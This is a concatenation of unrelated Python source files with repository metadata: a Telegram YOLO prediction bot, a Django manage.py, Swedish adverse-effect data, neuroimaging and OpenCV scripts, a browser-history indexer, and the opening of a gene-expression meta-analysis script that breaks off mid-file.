from telegram.ext import Updater, CommandHandler, MessageHandler, Filters import requests import logging import shutil import uuid import cv2 import os from yolo_predictor import yolo_predictor from yolo_drawer import yolo_drawer class telegram_bot(): def __init__(self, botkey, model_path, names_path, downloaded_image_save_folder="images/downloaded", predicted_image_save_folder="images/predicted", logger_file_name="logs/telegram_bot.log" ): self.__botkey = botkey self.model_path = model_path self.names_path = names_path self.downloaded_image_save_folder = downloaded_image_save_folder self.predicted_image_save_folder = predicted_image_save_folder # start logging logging.basicConfig(level=logging.INFO, format="[Telegram predictor] [%(levelname)s] (%(asctime)s) %(message)s", datefmt="%Y-%m-%d %H:%M:%S", handlers=[logging.StreamHandler(), logging.FileHandler(filename=logger_file_name)]) self.__start_predictor() def __start_predictor(self): logging.info("Model is loading") self.__predictor = yolo_predictor(model_path=self.model_path, names_path=self.names_path) self.__drawer = yolo_drawer() def __download_file_requests(self, url, local_full_path): with requests.get(url, stream=True) as req: with open(local_full_path, 'wb') as file: shutil.copyfileobj(req.raw, file) def __download_image(self, file_id): """uses telegrams ap to retrive image""" # get file path on server file_path_api_str = "https://api.telegram.org/bot{0}/getFile?file_id={1}".format(self.__botkey, file_id) response = requests.get(file_path_api_str).json() file_path_on_server = response["result"]["file_path"] _ , file_name_on_server = os.path.split(file_path_on_server) file_download_api_str = "https://api.telegram.org/file/bot{0}/{1}".format(self.__botkey, file_path_on_server) # create unique file name on that path to prevent override unique_filename = str(uuid.uuid4()) _, file_extension = os.path.splitext(file_name_on_server) unique_full_local_path = os.path.join(self.downloaded_image_save_folder, unique_filename + file_extension) self.__download_file_requests(file_download_api_str, unique_full_local_path) return unique_full_local_path def start(self): def error(update, context): logging.warning('Update {0} caused error {1}'.format(update, context.error)) def help(update, context): update.message.reply_text("Send an image for predicting") def prediction_handler(update, context): logging.info("User information: {0}".format(update.message.from_user)) try: # download image from api file_id = update.message.photo[-1].file_id image_path = self.__download_image(file_id) update.message.reply_text("Predicting...") # predict logging.info("Predicting image:{0}".format(image_path)) predictions = self.__predictor.predict(image_path) if(predictions): str_predictions = "" for pred in predictions: str_predictions += "{0} %{1:.2f}\n".format(pred[0], pred[2]) update.message.reply_text(str_predictions) # draw and sed labeld image _, save_path = self.__drawer.draw(predictions, image_path, show=False, save_folder_path=self.predicted_image_save_folder, resize=None, saved_file_suffix="") context.bot.send_photo(chat_id=update.message.chat.id, photo=open(save_path, 'rb')) logging.info("Predicted image:{0} result:{1}".format(save_path, predictions)) else: logging.info("Nothing detected image:{0}".format(image_path)) update.message.reply_text("Nothing detected") except Exception: logging.exception("", exc_info=True) update.message.reply_text("oops something went wrong") logging.info("Bot starting") updater = Updater(self.__botkey, use_context=True) updater.dispatcher.add_error_handler(error) updater.dispatcher.add_handler(CommandHandler("help", help)) updater.dispatcher.add_handler(MessageHandler(Filters.photo, prediction_handler)) updater.start_polling() updater.idle()
ba166ec68ed45f1baee801c418526f086fe4e4fb
b351c1ad85bfdc04913c53cb729b794352836f8a
/backend/manage.py
6f068a8da99360e9966b3c22d1cb4e450e3a5126
[]
no_license
crowdbotics-apps/test-editor-app-dev-17601
4410becc4c7e66923170c8a36aba4f9ab6ca03ab
6e4ac67da4fd0d5145ca65f33117b2aadb78aaa2
refs/heads/master
2023-02-08T23:13:29.600787
2020-12-29T14:08:41
2020-12-29T14:08:41
325,297,718
0
0
null
null
null
null
UTF-8
Python
false
false
659
py
#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): os.environ.setdefault( "DJANGO_SETTINGS_MODULE", "test_editor_app_dev_17601.settings" ) try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == "__main__": main()
5a5f402c8daf720263f8740dae71ece795237d2f
b39d9ef9175077ac6f03b66d97b073d85b6bc4d0
/Refacto_WC500049008.2.py
082eeb0b9a6e209ca0ede208ae135a65eaeb910d
[]
no_license
urudaro/data-ue
2d840fdce8ba7e759b5551cb3ee277d046464fe0
176c57533b66754ee05a96a7429c3e610188e4aa
refs/heads/master
2021-01-22T12:02:16.931087
2013-07-16T14:05:41
2013-07-16T14:05:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,882
py
{'_data': [['Very common', [['Blood', u'Faktor VIII-inhibitorer -PUP'], ['Metabolism', u'Anorexi'], ['Nervous system', u'Huvudv\xe4rk'], ['Respiratory', u'Dyspn\xe9,'], ['GI', u'Kr\xe4kning'], ['Skin', u'Urtikaria,'], ['Musculoskeletal', u'Artralgi'], ['General', u'Asteni,'], ['Investigations', u'Utvecklingav antikroppar mot ovarieceller fr\xe5n kinesisk hamster (CHO-protein). Uppkomst av FVIII-antikroppar.']]], ['Common', [['Blood', u'Faktor VIII-inhibitorer -PTP'], ['Vascular', u'Bl\xf6dning/hematom'], ['GI', u'Illam\xe5ende'], ['General', u'feber. K\xe4rlaccesskomplikation d\xe4ribland komplikationer i anslutning till permanenta katetrar f\xf6r ven\xf6s tillf\xf6rsel'], ['Investigations', u'F\xf6rh\xf6jt']]], ['Uncommon', [['Immune system', u'Anafylaktoid reaktion'], ['Nervous system', u'Neuropati, yrsel, somnolens, dysgeusi'], ['Cardiac', u'Angina pectoris, takykardi, hj\xe4rtklappning'], ['Vascular', u'Hypotoni, tromboflebit,vasodilatation, blodvallning'], ['Respiratory', u'hosta'], ['GI', u'Buksm\xe4rta, diarr\xe9'], ['Skin', u'kl\xe5da, utslag, hyperhidros'], ['Musculoskeletal', u'Myalgi'], ['General', u'Frossa/ frysning, inflammation vid injektionsst\xe4llet, reaktion vid injektionsst\xe4llet, sm\xe4rta vid injektionsst\xe4llet'], ['Investigations', u'aspartataminotransferas, f\xf6rh\xf6jt alaninaminotransferas, f\xf6rh\xf6jt blodbilirubin, f\xf6rh\xf6jt blodkreatinfosfokinas']]]], '_note': u' ?MSFU', '_pages': [5, 7], u'_rank': 24, u'_type': u'MSFU'}
[ "daro@daro-ThinkPad-X220.(none)" ]
daro@daro-ThinkPad-X220.(none)
7dc8b486ce666edb8d88dc74dce31293c30fcfc4
dd717946dfe8ee6290c94f2e6fdb8fcfbdddf1f1
/commands/ni_locale_coords.py
ca48a02cc027ebf5a2ddeb81a01316616d036c3c
[]
no_license
czarrar/niscripts
9fa24859b94aae32d88e2d3ada1fcf9e2f21af8c
732c2b8e01ae5c66eb577693f12ad53d7da11819
refs/heads/master
2021-01-25T05:15:26.383943
2012-08-16T02:50:22
2012-08-16T02:50:22
2,116,239
2
1
null
null
null
null
UTF-8
Python
false
false
11,276
py
#!/usr/bin/env python import argparse, os, sys import os.path as op import numpy as np from copy import deepcopy from string import Template import nipype.interfaces.fsl as fsl # fsl standard_image = fsl.Info.standard_image sys.path.append(os.path.join(os.environ.get("NISCRIPTS"), "include")) import zlogger from usage import NiArgumentParser, store_filename, store_input, store_output, append_var from zlogger import (LoggerError, LoggerCritical) from analysis.base import Base, get_loglevel, create_logger from execute import Process class CoordinateSubject(Base): """docstring for CoordinateSubject""" _logname = "coordinate_subject" _output_suffix = { "peaks": "table.txt", "filt": "table_filt.1D", "coord": "peak.1D", "roi": "roi.nii.gz", "tmp_thresh": "thresh.nii.gz", "tmp_rendered": "rendered.nii.gz", "tmp_x": "x.png", "tmp_y": "y.png", "tmp_z": "z.png", "pic": "activity.png" } def __init__(self, *args, **kwargs): super(CoordinateSubject, self).__init__(*args, **kwargs) self.log.info("Starting CoordinateSubject") self._isset_data = self._isset_options = False self.infile = self.inmask = self.thresh = self.refcoord = self.roi_rad = self.orient = None self.outputs = {} self.cmd_extrema = self.cmd_filt = self.cmd_roi = "" self.cmds_filt = [] return def __del__(self): rmfiles = ["tmp_thresh", "tmp_rendered", "tmp_x", "tmp_y", "tmp_z"] for k in rmfiles: if k in self.outputs and op.isfile(self.outputs[k]): self.log.debug("removing %s" % self.outputs[k]) os.remove(self.outputs[k]) def compile(self): self.log.info("Compiling") if not self._isset_data and not self._isset_options: self.log.fatal("Must set data and options") self.cmd_extrema = "3dExtrema -data_thr %.5f -mask_file %s -volume %s" % ( self.thresh, self.inmask, self.infile) self.cmd_filt = "tail -n +11 %s" % self.outputs['peaks'] self.cmd_roi = "3dUndump -prefix %s -master %s -srad %i -orient %s -xyz %s" % ( self.outputs['roi'], self.std, self.roi_rad, self.orient, self.outputs['coord']) p = Process("3dBrickStat -slow -max %s" % self.infile) if not p.stdout: maxval = 5 else: maxval = p.stdout maxval = int(float(maxval.strip())) self.cmd_threshold = "fslmaths %s -thr %.5f %s" % (self.infile, self.thresh, self.outputs['tmp_thresh']) self.cmd_overlay = "overlay 1 0 %s -a %s %.5f %i %s" % (self.std, self.outputs['tmp_thresh'], self.thresh, maxval, self.outputs["tmp_rendered"]) self.cmd_std2img = "std2imgcoord -img %s -std %s -vox %s" % (self.std, self.std, self.outputs['coord']) self.cmd_slicer = "slicer %(tmp_rendered)s -s 2 -L -t -x -${x} %(tmp_x)s -y -${y} %(tmp_y)s -z -${z} %(tmp_z)s" % self.outputs self.cmd_append = "pngappend %(tmp_x)s + %(tmp_y)s + %(tmp_z)s %(pic)s" % self.outputs def _run_closest_coord(self): if not self._isset_data: self.log.fatal("Must set data") x = np.loadtxt(self.outputs["filt"]) c = x[:,2:5] ref = self.refcoord self.log.debug("...reference (RAI): %s" % " ".join([ str(x) for x in ref ])) dists = np.sqrt((c[:,0]-ref[0])**2 + (c[:,1]-ref[1])**2 + (c[:,2]-ref[2])**2) closest_coord = [ int(x) for x in c[np.argmin(dists),:] ] self.log.debug("...closest peak (RAI): %s" % " ".join([ str(x) for x in closest_coord])) closest_coord[0] = closest_coord[0]*-1 closest_coord[1] = closest_coord[1]*-1 disp = "%i %i %i" % (closest_coord[0], closest_coord[1], closest_coord[2]) self.log.important(disp) f = file(self.outputs['coord'], 'w') f.write(disp + "\n") f.close() return closest_coord def run(self): self.compile() self.log.info("Running") if not self.cmd_extrema and not self.cmds_filt: self.log.fatal("Must compile") if self.dry_run: self.log.drycommand(self.cmd_extrema + " > %s" % self.outputs['peaks']) self.log.drycommand("%s | %s > %s" % (self.cmds_filt[0], self.cmds_filt[1], self.outputs['filt'])) if self.outroi: self.log.drycommand(self.cmd_roi) else: self.log.debug("...extrema") f = file(self.outputs["peaks"], 'w') self.log.drycommand("%s > %s" % (self.cmd_extrema, self.outputs["peaks"])) p = Process(self.cmd_extrema, stdout=f) if p.retcode != 0: self.log.error("problem with 3dExtrema") if p.stderr: print p.stderr f.close() self.log.debug("...filter") self.log.drycommand("%s > %s" % (self.cmd_filt, self.outputs['filt'])) f = file(self.outputs["filt"], 'w') p = Process(self.cmd_filt, stdout=f) if p.retcode != 0: self.log.error("Error using head/tail commands") if p.stderr: print p.stderr f.close() self.log.debug("...closest coordinate") res = self._run_closest_coord() if self.outroi: self.log.debug("...save ROI") self.log.command(self.cmd_roi) if self.outpic: self.log.debug("...save png") self.log.command(self.cmd_threshold) self.log.command(self.cmd_overlay) p = self.log.command(self.cmd_std2img) ijk = p.stdout.splitlines()[0].split() cmd_slicer = Template(self.cmd_slicer).substitute(x=ijk[0], y=ijk[1], z=ijk[2]) self.log.command(cmd_slicer) self.log.command(self.cmd_append) return res def setData(self, infile, inmask, std, outprefix, refcoord, outroi=False, outpic=False, overwrite=False): self.log.info("Setting up data") # Inputs self.infile = self._check_infile(infile, desc="input file", substitute=True) self.inmask = self._check_infile(inmask, desc="input mask", substitute=True) self.std = self._check_infile(std, desc="standard image", substitute=True) # Outputs self.outputs = {} outprefix = self._substitute(outprefix) for k,v in self._output_suffix.iteritems(): out = "%s_%s" % (outprefix, v) out = self._check_outfile(out, desc="%s file" % k, substitute=True, overwrite=overwrite) self.outputs[k] = out if not op.isdir(op.dirname(outprefix)): self.log.info("Creating base directory '%s' for output" % op.dirname(outprefix)) os.mkdir(op.dirname(outprefix)) self.outroi = outroi self.outpic = outpic # Coordinate if len(refcoord) != 3: self.log.fatal("Must have x,y,z for reference coordinate") self.refcoord = np.array([ float(c) for c in refcoord ]) self.refcoord[0] = self.refcoord[0]*-1 self.refcoord[1] = self.refcoord[1]*-1 self._isset_data = True return def setOptions(self, thresh=2.3, roi_rad=2, orient="LPI"): self.log.info("Setting options") self.thresh = thresh self.roi_rad = roi_rad self.orient = orient self._isset_options = True return def create_parser(): parser = NiArgumentParser(fromfile_prefix_chars='@', argument_default=argparse.SUPPRESS, description="Find peak coordinate for each subject that is closest to a given" \ " reference coordinate") parser._add_inputs = False parser._add_outputs = False group = parser.add_argument_group('Required') group.add_argument('-i', '--input', required=True, metavar="FILE") group.add_argument('-m', '--mask', required=True, metavar="FILE") group.add_argument('-o', '--prefix', required=True, metavar="FILE PREFIX") group.add_argument('-c', '--coord', nargs=3, type=int, required=True, metavar=('x','y','z')) group = parser.add_argument_group('Command Options') group.add_argument("-t", "--thresh", type=float, default=2.3, metavar="THRESHOLD", help="default: %(default)s") group.add_argument('--std', default=standard_image("MNI152_T1_2mm_brain.nii.gz"), metavar="FILE", help="default: %(default)s") group.add_argument("--orient", default="LPI", metavar="XXX", help="default: %(default)s") group.add_argument('-r', "--radius", type=int, default=1, metavar="mm", help="default: %(default)s") group = parser.add_argument_group('I/O Options') group.add_argument('--roi', action="store_true", default=False, help="create ROI") group.add_argument('--pic', action="store_true", default=False, help="create picture") group.add_argument('-s', '--subjects', nargs="+", metavar="ID") group.add_argument('--var', action="append", type=append_var, dest="vars") group.add_argument('--overwrite', action="store_true", default=False, help="default: %(default)s") group.add_argument("--verbose", action="store_const", const=1, dest="verbosity", default=0) group.add_argument("--debug", action="store_const", const=2, dest="verbosity", default=0) group.add_argument("--dry-run", action="store_true", default=False, help="default: %(default)s") group.add_argument("--log", type=store_filename, default=None, metavar="FILE", help="default: %(default)s") return parser def run_subject(log, args, template_vars): ## setup cs = CoordinateSubject(args.verbosity, deepcopy(template_vars), args.dry_run, logger=log) cs.setData(args.input, args.mask, args.std, args.prefix, args.coord, args.roi, args.pic, args.overwrite) cs.setOptions(args.thresh, args.radius, args.orient) ## run cs.run() del cs return def main(arglist): # Parse parser = create_parser() args = parser.parse_args(arglist) kwargs = vars(args) # Template vars if 'vars' not in kwargs: template_vars = {} else: template_vars = dict(kwargs.pop("vars")) # Logger loglevel = get_loglevel(args.verbosity) log = create_logger("coordinate_subjects", loglevel, args.log) # Loop through subjects if 'subjects' in kwargs: subjects = kwargs.pop("subjects") for subject in subjects: log.title("Subject: %s" % subject) template_vars['subject'] = subject run_subject(log, args, template_vars) del template_vars['subject'] else: run_subject(log, args, template_vars) return if __name__ == "__main__": main(sys.argv[1:])
9dee9c3844cab45e6caef41ae80c1a736f459e3b
808f0437f494a6629ab6770ade37b19244d4fd40
/src/promnesia/sources/browser_legacy.py
1bfbd51e01d016eb77f78878d8deef9fd65212f1
[ "MIT" ]
permissive
karlicoss/promnesia
f00271a8f77a20c0028a3524635bec4cd4ecc55c
78e7d73b40c88c4c0374cd9a495d2347017f4b55
refs/heads/master
2023-09-01T08:54:37.659477
2023-08-25T02:06:55
2023-08-25T02:44:14
179,840,530
1,632
83
MIT
2023-08-25T02:44:15
2019-04-06T14:03:08
Python
UTF-8
Python
false
false
10,180
py
from datetime import datetime from pathlib import Path from urllib.parse import unquote import sqlite3 from typing import List, Set, Optional import pytz from ..common import PathIsh, Results, Visit, Loc, logger, Second, is_sqlite_db from .. import config # todo mcachew? from cachew import cachew def index(p: PathIsh) -> Results: pp = Path(p) assert pp.exists(), pp # just in case of broken symlinks # todo warn if filtered out too many? # todo wonder how quickly mimes can be computed? # todo ugh, dunno, maybe this really belongs to hpi?? need get_files etc... dbs = [p for p in sorted(pp.rglob('*')) if is_sqlite_db(p)] assert len(dbs) > 0, pp logger.info('processing %d databases', len(dbs)) cname = str('_'.join(pp.parts[1:])) # meh yield from _index_dbs(dbs, cachew_name=cname) def _index_dbs(dbs: List[Path], cachew_name: str): # TODO right... not ideal, need to think how to handle it properly... import sys sys.setrecursionlimit(5000) cache_dir = config.get().cache_dir cpath = None if cache_dir is None else cache_dir / cachew_name emitted: Set = set() yield from _index_dbs_aux(cpath, dbs, emitted=emitted) # todo wow, stack traces are ridiculous here... # todo hmm, feels like it should be a class or something? @cachew(lambda cp, dbs, emitted: cp, depends_on=lambda cp, dbs, emitted: dbs) # , logger=logger) def _index_dbs_aux(cache_path: Optional[Path], dbs: List[Path], emitted: Set) -> Results: if len(dbs) == 0: return xs = dbs[:-1] x = dbs[-1:] xs_res = _index_dbs_aux(cache_path, xs, emitted) xs_was_cached = False for r in xs_res: # if it was cached, emitted would be empty if len(emitted) == 0: xs_was_cached = True logger.debug('seems that %d first items were previously cached', len(xs)) if xs_was_cached: key = str(r) if isinstance(r, Exception) else (r.url, r.dt) assert key not in emitted, key # todo not sure if this assert is necessary? # hmm ok it might happen if we messed up with indexing individual db? # alternatively, could abuse it to avoid messing with 'emitted' in _index_db? emitted.add(key) yield r # todo not sure about exceptions? for db in x: yield from _index_db(db, emitted=emitted) def _index_db(db: Path, emitted: Set): logger.info('processing %s', db) # debug level? # todo schema check (not so critical for cachew though) total = 0 new = 0 loc = Loc.file(db) # todo possibly needs to be optimized -- moving from within the loop considerably speeds everything up with sqlite3.connect(f'file:{db}?immutable=1', uri=True) as c: browser = None for b in [Chrome, Firefox, FirefoxPhone, Safari]: try: c.execute(f'SELECT * FROM {b.detector}') except sqlite3.OperationalError: # not sure if the right kind? pass else: browser = b break assert browser is not None proj = ', '.join(c for c, _ in browser.schema.cols) query = browser.query.replace('chunk.', '') c.row_factory = sqlite3.Row for r in c.execute(f'select {proj} {query}'): v = browser.row2visit(r, loc) total += 1 key = (v.url, v.dt) # todo how to keep keys compatible? if key in emitted: continue yield v emitted.add(key) new += 1 # eh, ok, almost 2x faster if I don't construct Visit first # maybe it's Loc.file that's too slow? # yeah, seems like it, 4.1 s after computing it only once logger.info('%s: %d/%d new visits', db, new, total) Col = str ColType = str from typing import Any, NamedTuple, Tuple, Union, Sequence, Optional class Schema(NamedTuple): cols: Sequence[Tuple[Col, ColType]] key: Sequence[str] SchemaCheck = Tuple[str, Union[str, Sequence[str]]] # todo Union: meh from dataclasses import dataclass # todo protocol? @dataclass class Extr: detector: str schema_check: SchemaCheck schema: Schema query: str # todo calllable? @staticmethod def row2visit(row: sqlite3.Row, loc: Loc) -> Visit: raise NotImplementedError class Chrome(Extr): detector='keyword_search_terms' schema_check=( 'visits', [ 'visits', "id, url, visit_time, from_visit, transition, segment_id, visit_duration, incremented_omnibox_typed_score", 'visits', "id, url, visit_time, from_visit, transition, segment_id, visit_duration" ] ) schema=Schema(cols=[ ('U.url' , 'TEXT' ), # while these two are not very useful, might be good to have just in case for some debugging ('U.id AS urlid' , 'INTEGER'), ('V.id AS vid' , 'INTEGER'), ('V.visit_time' , 'INTEGER NOT NULL'), ('V.from_visit' , 'INTEGER' ), ('V.transition' , 'INTEGER NOT NULL'), # V.segment_id looks useless ('V.visit_duration' , 'INTEGER NOT NULL'), # V.omnibox thing looks useless ], key=('url', 'visit_time', 'vid', 'urlid')) query='FROM chunk.visits as V, chunk.urls as U WHERE V.url = U.id' @staticmethod def row2visit(row: sqlite3.Row, loc: Loc) -> Visit: url = row['url'] ts = row['visit_time'] durs = row['visit_duration'] dt = chrome_time_to_utc(int(ts)) url = unquote(url) # chrome urls are all quoted dd = int(durs) dur: Optional[Second] = None if dd == 0 else dd // 1_000_000 return Visit( url=url, dt=dt, locator=loc, duration=dur, ) # should be utc? https://stackoverflow.com/a/26226771/706389 # yep, tested it and looks like utc def chrome_time_to_utc(chrome_time: int) -> datetime: epoch = (chrome_time / 1_000_000) - 11644473600 return datetime.fromtimestamp(epoch, pytz.utc) def _row2visit_firefox(row: sqlite3.Row, loc: Loc) -> Visit: url = row['url'] ts = float(row['visit_date']) # ok, looks like it's unix epoch # https://stackoverflow.com/a/19430099/706389 # NOTE: ugh. on Fenix (experimental Android version) it uses milliseconds, not nanos... # about year 2001... if someone has browser history exports before that -- please let me know, I'm impressed threshold = 1000000000 if ts > threshold * 1_000_000: # presumably it's in microseconds ts /= 1_000_000 else: # milliseconds ts /= 1_000 dt = datetime.fromtimestamp(ts, pytz.utc) url = unquote(url) # firefox urls are all quoted return Visit( url=url, dt=dt, locator=loc, ) # https://web.archive.org/web/20201026130310/http://fileformats.archiveteam.org/wiki/History.db class Safari(Extr): detector='history_tombstones' schema_check=( 'history_visits', [ 'history_visits', "id, history_item, visit_time", 'history_items', "id, url" ] ) schema=Schema(cols=[ ('U.url' , 'TEXT' ), # while these two are not very useful, might be good to have just in case for some debugging ('U.id AS urlid' , 'INTEGER'), ('V.id AS vid' , 'INTEGER'), ('V.visit_time' , 'INTEGER NOT NULL'), # ('V.from_visit' , 'INTEGER' ), # ('V.transition' , 'INTEGER NOT NULL'), # V.segment_id looks useless # ('V.visit_duration' , 'INTEGER NOT NULL'), # V.omnibox thing looks useless ], key=('url', 'visit_time', 'vid', 'urlid')) query='FROM chunk.history_visits as V, chunk.history_items as U WHERE V.history_item = U.id' @staticmethod def row2visit(row: sqlite3.Row, loc: Loc) -> Visit: url = row['url'] ts = row['visit_time'] + 978307200 # https://stackoverflow.com/a/34546556/16645 dt = datetime.fromtimestamp(ts, pytz.utc) return Visit( url=url, dt=dt, locator=loc, ) # https://web.archive.org/web/20190730231715/https://www.forensicswiki.org/wiki/Mozilla_Firefox_3_History_File_Format#moz_historyvisits class Firefox(Extr): detector='moz_meta' schema_check=('moz_historyvisits', "id, from_visit, place_id, visit_date, visit_type") schema=Schema(cols=[ ('P.url' , 'TEXT'), ('P.id AS pid' , 'INTEGER'), ('V.id AS vid' , 'INTEGER'), ('V.from_visit', 'INTEGER'), ('V.visit_date', 'INTEGER'), ('V.visit_type', 'INTEGER'), # not sure what session is form but could be useful?.. # NOTE(20210410): for now, commented it out since some older databases from phone have this column commented? # needs to be defensive # ('V.session' , 'INTEGER'), ], key=('url', 'visit_date', 'vid', 'pid')) query='FROM chunk.moz_historyvisits as V, chunk.moz_places as P WHERE V.place_id = P.id' row2visit = _row2visit_firefox class FirefoxPhone(Extr): detector='remote_devices' schema_check=('visits', "_id, history_guid, visit_type, date, is_local") schema=Schema(cols=[ ('H.url' , 'TEXT NOT NULL' ), ('H.guid AS guid' , 'TEXT' ), ('H._id AS hid' , 'INTEGER' ), ('V._id AS vid' , 'INTEGER' ), ('V.visit_type' , 'INTEGER NOT NULL'), ('V.date as visit_date', 'INTEGER NOT NULL'), # ('is_local' , 'INTEGER NOT NULL'), ], key=('url', 'date', 'vid', 'hid')) query='FROM chunk.visits as V, chunk.history as H WHERE V.history_guid = H.guid' row2visit = _row2visit_firefox
8fe8e8fc1131cce8977a6e71efef66886883df23
dfd42f222f9c9cff47a01c5bc1f37764802cfea1
/video_det.py
448bda365f56b638cbea29bf45164c5deee83b5f
[]
no_license
CheungBH/Swim_detection
5f34d731968007794ed3de575d50f23b2b801ab2
f6f6cb36ed89628a10e6822f87ac003f75bef412
refs/heads/master
2020-08-12T11:52:22.064990
2020-01-27T11:13:39
2020-01-27T11:13:39
214,762,481
0
1
null
null
null
null
UTF-8
Python
false
false
2,379
py
import cv2 import os from config import config import numpy as np cnt = 0 save_ls = [175, 333, 556, 888, 1000, 1080] video_num = 54 img_folder = str(video_num) cap = cv2.VideoCapture(os.path.join('Video/Selected', '{}.mp4'.format(img_folder))) fgbg = cv2.createBackgroundSubtractorMOG2(history=500, varThreshold=200, detectShadows=False) show = False write = False while True: ret, frame = cap.read() frame = cv2.resize(frame, (540, 360)) cv2.imshow('input', frame) fgmask = fgbg.apply(frame) background = fgbg.getBackgroundImage() diff = cv2.absdiff(frame, background) point = diff gray = cv2.cvtColor(point, cv2.COLOR_BGR2GRAY) gray = np.float32(gray) dst = cv2.cornerHarris(src=gray, blockSize=9, ksize=27, k=0.04) a = dst > 0.01 * dst.max() point[a] = [0, 0, 255] cv2.imshow("point", point) gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY) blur = cv2.blur(diff, config.blur_kernel) imageEnhance = cv2.filter2D(blur, -1, config.enhance_kernel) hsv = cv2.cvtColor(imageEnhance, cv2.COLOR_BGR2HSV) thresh = cv2.inRange(hsv, lowerb=config.hsv_lower_black, upperb=config.hsv_upper_black) dilate_kernel = cv2.getStructuringElement(config.dilation_method[0], config.dilation_kernel) dilation = cv2.morphologyEx(thresh, config.dilation_method[1], dilate_kernel) if show: cv2.imshow('input', frame) cv2.moveWindow("input", 0, 0) cv2.imshow('background', background) cv2.moveWindow("background", 0, 450) cv2.imshow('mask', diff) cv2.moveWindow("mask", 540, 0) cv2.imshow('gray', gray) cv2.moveWindow("gray", 1080, 450) cv2.imshow("enhance", imageEnhance) cv2.moveWindow("enhance", 540, 450) cv2.imshow("threshold", thresh) cv2.moveWindow("threshold", 1080, 0) if write: if cnt in save_ls: des_path = os.path.join("frame/{}/{}".format(img_folder, cnt)) os.makedirs(des_path, exist_ok=True) cv2.imwrite(os.path.join(des_path, "mask.jpg"), diff) cv2.imwrite(os.path.join(des_path, "enhance.jpg"), imageEnhance) cv2.imwrite(os.path.join(des_path, "gray.jpg"), gray) print("Finish processing frame {}".format(cnt)) cnt += 1 k = cv2.waitKey(10)&0xff if k == 27: break cap.release() cv2.destroyAllWindows()
8000e027e36e054344f96f4ff1d0ab86b608b4dd
259ec5070b9cdb64089244528e350b9d0af2ffe8
/analysis.py
e8f2f924ab4fad44e0cb6eea968d73bb708284c0
[]
no_license
pengzhang1991/stargeo
21e8f8aa3d956ef1e5507e65c36fe0bfe7b8c6cb
153688869fb87412dd716ac27994e51baeb16078
refs/heads/master
2020-04-06T06:16:32.855251
2015-10-16T19:10:54
2015-10-16T19:10:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
25,016
py
import os import re import gzip import urllib2 import shutil import logging from easydict import EasyDict from funcy import first, log_durations, imap, memoize, cat, re_all import numpy as np import pandas as pd import scipy.stats as stats import psycopg2.extras #### create logger logger = logging.getLogger(__name__) logger.setLevel(logging.DEBUG) # create file handler which logs even debug messages fh = logging.FileHandler('analysis.log') fh.setLevel(logging.DEBUG) # create console handler with a higher log level ch = logging.StreamHandler() ch.setLevel(logging.DEBUG) logger.addHandler(fh) logger.addHandler(ch) @log_durations(logger.debug) def perform_analysis(conn, analysis, debug=False): cursor = conn.cursor(cursor_factory=psycopg2.extras.DictCursor) logger.info('Started %s analysis', analysis.analysis_name) with log_durations(logger.debug, 'Loading dataframe for %s' % analysis.analysis_name): df = get_analysis_df(conn, analysis.case_query, analysis.control_query, analysis.modifier_query) debug and df.to_csv("%s.analysis_df.csv" % analysis.analysis_name) logger.info('Matching sources: %d' % df.groupby(['series_id', 'platform_id']).ngroups) # Remove single-class sources query = df.groupby(['series_id', 'platform_id']).sample_class.agg(lambda x: set(x)) >= {0, 1} df = filter_sources(df, query, 'as single-class') # Check for minimum number of samples if analysis.min_samples: counts = df.groupby(['series_id', 'platform_id']).sample_class.value_counts().unstack() query = (counts[0] >= analysis.min_samples) & (counts[1] >= analysis.min_samples) df = filter_sources(df, query, 'by min samples') # Check number of sources sources = df.groupby(['series_id', 'platform_id']).ngroups if sources <= 1: logger.error("FAIL Can't perform meta-analysis on %s" % ('single source' if sources else 'no data')) return # Calculating stats analysis.series_count = len(df.series_id.unique()) analysis.platform_count = len(df.platform_id.unique()) analysis.sample_count = len(df.sample_id.unique()) analysis.series_ids = df.series_id.unique().tolist() analysis.platform_ids = df.platform_id.unique().tolist() analysis.sample_ids = df.sample_id.unique().tolist() # analysis.save(update_fields=['series_count', 'platform_count', 'sample_count', # 'series_ids', 'platform_ids', 'sample_ids']) logger.info('Stats: %d sources, %d series, %d platforms, %d samples' % (sources, analysis.series_count, analysis.platform_count, analysis.sample_count)) # Load GSE data, make and concat all fold change analyses results. # NOTE: we are doing load_gse() lazily here to avoid loading all matrices at once. logger.info('Loading data and calculating fold changes for %s', analysis.analysis_name) with log_durations(logger.debug, 'Load/fold for %s' % analysis.analysis_name): gses = (load_gse(cursor, df, series_id) for series_id in sorted(df.series_id.unique())) fold_changes = pd.concat(imap(get_fold_change_analysis, gses)) debug and fold_changes.to_csv("%s.fc.csv" % debug) logger.info('Meta-Analyzing %s', analysis.analysis_name) with log_durations(logger.debug, 'Meta analysis for %s' % analysis.analysis_name): balanced = getFullMetaAnalysis(fold_changes, debug=debug).reset_index() debug and balanced.to_csv("%s.meta.csv" % debug) # logger.info('Inserting %s analysis results', analysis.analysis_name) # with log_durations(logger.debug, 'Saving results of %s' % analysis.analysis_name):#, \ # # transaction.atomic(): # balanced['analysis'] = analysis # balanced.columns = balanced.columns.map(lambda x: x.replace(".", "_").lower()) # field_names = [f.name for f in MetaAnalysis._meta.fields if f.name != 'id'] # rows = balanced[field_names].T.to_dict().values() # Delete old values in case we recalculating analysis # MetaAnalysis.objects.filter(analysis=analysis).delete() # MetaAnalysis.objects.bulk_create(MetaAnalysis(**row) for row in rows) logger.info('DONE %s analysis', analysis.analysis_name) return balanced def filter_sources(df, query, reason): start_sources = df.groupby(['series_id', 'platform_id']).ngroups new_df = df.set_index(['series_id', 'platform_id']).loc[query].reset_index() sources = new_df.groupby(['series_id', 'platform_id']).ngroups excluded = start_sources - sources if excluded: logger.info('Excluded %d source%s %s'% (excluded, 's' if excluded > 1 else '', reason)) return new_df # from debug_cache import DebugCache # dcache_new = DebugCache('/home/suor/projects/health/debug_cache_new') # dcache_tmp = DebugCache('/home/suor/projects/health/debug_cache_tmp') # @dcache.checked # @dcache_new.cached @log_durations(logger.debug) def get_fold_change_analysis(gse): # TODO: get rid of unneeded OOP interface return GseAnalyzer(gse).getResults(debug=False) COLUMNS = { 'sample__id': 'sample_id', 